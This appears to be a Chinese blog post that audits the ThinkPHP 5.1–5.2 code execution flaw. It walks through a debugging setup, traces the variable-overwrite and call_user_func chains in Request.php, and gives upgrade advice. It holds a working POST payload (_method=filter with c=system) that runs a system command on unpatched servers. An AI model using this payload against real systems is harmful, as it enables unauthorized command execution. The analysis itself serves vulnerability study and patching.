php5.2漏洞,Thinkphp5.1 ~ 5.2 全版本代码执行漏洞代码审计

0x01 简介

ThinkPHP是一个快速、简单的基于 MVC 和面向对象的轻量级 PHP 开发框架,遵循 Apache 2 开源协议发布,一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,尤其注重开发体验和易用性,为 WEB 应用和 API 开发提供了强有力的支持。

之前放出来这个Thinkphp5.1~5.2全版本代码执行漏洞,这个漏洞在5.0.*部分版本中也适用。漏洞执行流程分为两个阶段,第一阶段为利用变量覆盖漏洞,第二阶段利用代码执行触发漏洞。

0x02 环境配置

需要的应用和环境:

1、Windows 10

2、phpStudy

3、phpStorm

4、XDebug

5、火狐浏览器

6、火狐浏览器插件-XDebug-ext

7、ThinkPHP 5.1.30

首先需要将phpStudy和phpStorm安装,安装成功后,phpStudy如图1所示,phpStorm如图2所示,请注意需要使用 PHP 5.6以上版本,不然运行ThinkPHP 5.1.30会报错。

2e00d059636d3e3f1cd83917e16fe4f6.png

图 1

07449f6908aba3a06b83ec39b287ab0c.png

图 2

XDebug 配置需要编辑php.ini,将配置替换如下,路径需要按照实际情况修改,访问PHPINFO,如果存在XDebug信息说明配置成功。如图3所示。

[XDebug]

xdebug.profiler_output_dir="D:\phpStudy\tmp\xdebug"

xdebug.trace_output_dir="D:\phpStudy\tmp\xdebug"

zend_extension="D:\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug.dll"

xdebug.remote_enable=1 //是否允许远程终端 这里标示开启

xdebug.profiler_enable_trigger=0

xdebug.remote_handler=dbgp

xdebug.remote_mode=req

xdebug.remote_host=localhost

xdebug.remote_port=9000

xdebug.idekey=PHPSTORM

75393af886bbf7a568cc8dd982c52ba2.png

图 3

然后需要配置phpStorm,选择File=>Settings=>php,选择好需要的PHP版本,如图4所示

16535f51555e40f882bf685beb2060b2.png

图 4

选择File=>Settings=>Debug,配置好端口,端口需要和之前的配置文件对应,如图5所示。

e18bbf862c521b63aad19d337be1bf9b.png

图 5

选择File=>Settings=>Servers,配置如图6所示,Name需要和xdebug.idekey对应一致。

d7da5c3338058fc80c1c5873a89c6924.png

图 6

接下来配置火狐浏览器,火狐浏览器用的版本如图7所示。

a1c4c12533b679ff659d3a1e2ee55566.png

图 7

需要安装XDebug-ext,配置如图8所示。

ea7a0ee148c2ba64082c3b976c50291b.png

图 8

最后将ThinkPHP 5.1.30的环境,拷贝到WWW目录中,如图9所示,配置完成。

2b97af27e75af8501ed19e2a34ef3d05.png

图 9

0x03 代码审计

在火狐浏览器中使用POC,通过phpStrom跟踪执行流程。

POC如下:

(post)public/index.php

(data)c=system&f=calc.exe&_method=filter

找到变量覆漏洞,变量覆盖漏洞导致能控制$this->{$method},调用链如下:

Request.php:814, think\Request->method()

RuleGroup.php:151, think\route\RuleGroup->check()

Domain.php:76, think\route\Domain->check()

Route.php:885, think\Route->check()

App.php:604, think\App->routeCheck()

App.php:402, think\App->run()

index.php:21, {main}()

代码位置:thinkphp/library/think/Request.php 814行。如图10所示。

5e7c81d3edfe3025b0f96443a456ecf8.png

图10

找到变量覆盖漏洞触发后,执行流程会逐步返回App.php:435, think\App->run(),找到Middleware.php:130, think\Middleware->dispatch()跟着流程审计会找到执行call_user_func(“system”,”calc.exe”),调用链如下:

Request.php:1455, think\Request->filterValue()

Request.php:1370, array_walk_recursive()

Request.php:1370, think\Request->input()

Request.php:956, think\Request->param()

Module.php:121, think\route\dispatch\Module->think\route\dispatch\{closure}()

Middleware.php:185, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\thinkphp_5.1.30\thinkphp\library\think\Middleware.php:185}()

Middleware.php:185, think\Middleware->think\{closure}()

Middleware.php:130, call_user_func:{D:\phpStudy\PHPTutorial\WWW\thinkphp_5.1.30\thinkphp\library\think\Middleware.php:130}()

Middleware.php:130, think\Middleware->dispatch()

Module.php:140, think\route\dispatch\Module->exec()

Dispatch.php:168, think\route\Dispatch->run()

App.php:432, think\App->think\{closure}()

Middleware.php:185, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\thinkphp_5.1.30\thinkphp\library\think\Middleware.php:185}()

Middleware.php:185, think\Middleware->think\{closure}()

Middleware.php:130, call_user_func:{D:\phpStudy\PHPTutorial\WWW\thinkphp_5.1.30\thinkphp\library\think\Middleware.php:130}()

Middleware.php:130, think\Middleware->dispatch()

App.php:435, think\App->run()

index.php:21, {main}()

代码位置:thinkphp/library/think/Request.php 1455行,如图11所示。

8599b389c56b1774f02535432d287da3.png

图 11

通过放出的POC进行复现,漏洞复现结果,如图12所示。

ca72e29e38c200c4a74d034fee13a640.png

图12

0x04 修复建议

1.利用Composer 或官网更新至最新版本。

2.如果不能及时更新,建议参考最新版本的Request类的method方法进行手工修复。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值